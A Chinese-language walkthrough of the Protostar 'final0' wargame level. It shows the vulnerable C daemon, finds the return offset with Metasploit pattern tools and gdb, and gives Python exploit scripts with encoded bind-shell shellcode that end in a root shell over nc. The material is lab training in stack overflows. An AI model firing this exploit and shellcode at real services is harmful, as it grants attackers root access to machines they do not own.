Hints: depending on where you are returning to, you may wish to use a toupper() proof shellcode.
Source code
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
终于来到Final了 T T 。。。
从题目的提示知道利用stack溢出,而且题中的buffer只开辟了512个字节,因此可以通过溢出修改ret的地址跳到我们定义的shellcode中去。
那如何找到ret的地址呢?请看步骤:
root@bt:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.0.71", 2995))
buffer = "a"*512
exc = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
s.send(buffer+exc)
接着在客户端运行一下,通过用gdb查看/tmp下面的调试文件信息即可得到真正的RET地址:
root@protostar:/# gdb --quiet --core=/tmp/core.11.final0.2036
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x37614136 in ?? ()
root@bt:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb 0x37614136
[*] Exact match at offset 20
得到RET的位置在buffer的512+20的位置。
需要确认的话则将buffer="a"*532+"\xef\xbe\xad\xde"发送过去,则在调试文件中将提示地址为0xdeadbeef出错。在此就不确认了,偷懒一下。。。
接下来需要一个shellcode,用msfpayload生成即可:
root@bt:~/Desktop/shellcode# msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c
[*] x86/shikata_ga_nai succeeded with size 105 (iteration=1)
unsigned char buf[] =
"\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6"
"\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3"
"\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8"
"\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8"
"\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa"
"\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72";
现将shellcode接在RET位置之后,通过查看调试文件需要找到shellcode的地址
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.0.71", 2995))
buffer = "a"*532
ret = "\xEF\xBE\xAD\xDE"
nop = "\x90"*20
#msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c
shellcode = "\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"\
"\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6"\
"\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3"\
"\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8"\
"\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8"\
"\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa"\
"\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72"
s.send(buffer + ret + nop + shellcode)
在/tmp文件夹下查看gdb文件:
root@protostar:/# gdb --quiet --core=/tmp/core.11.final0.2052
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb) x/100x 0xbffffc00
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x00000000 0x00000200
0xbffffc50: 0x61616161 0x61616161 0x61616161 0xdeadbeef
0xbffffc60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc70: 0x90909090 0xd6745fba 0xd9cddb3c 0x5ef42474
0xbffffc80: 0x14b1c931 0x03145631 0xc6831456 0xe781bd04
0xbffffc90: 0x5b89b6e7 0x5e246b5b 0x38086ad2 0x9b32ec29
0xbffffca0: 0x23c684e3 0x33ad0815 0xd5b8e044 0xd8e3660c
0xbffffcb0: 0xe752ef51 0x81e4ebe2 0xfe4773c9 0x6dc8beb4
得到目标地址是0xbffffc60
现在RET的位置有了,shellcode的地址也有了,只欠东风了。。
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.0.71", 2995))
buffer = "a"*532
ret = "\x60\xfc\xff\xbf"
nop = "\x90"*20
#msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c
shellcode = "\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"\
"\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6"\
"\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3"\
"\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8"\
"\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8"\
"\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa"\
"\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72"
s.send(buffer + ret + nop + shellcode)
用另一个客户端连接4444端口(默认)
D:\>nc 192.168.0.71 4444
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root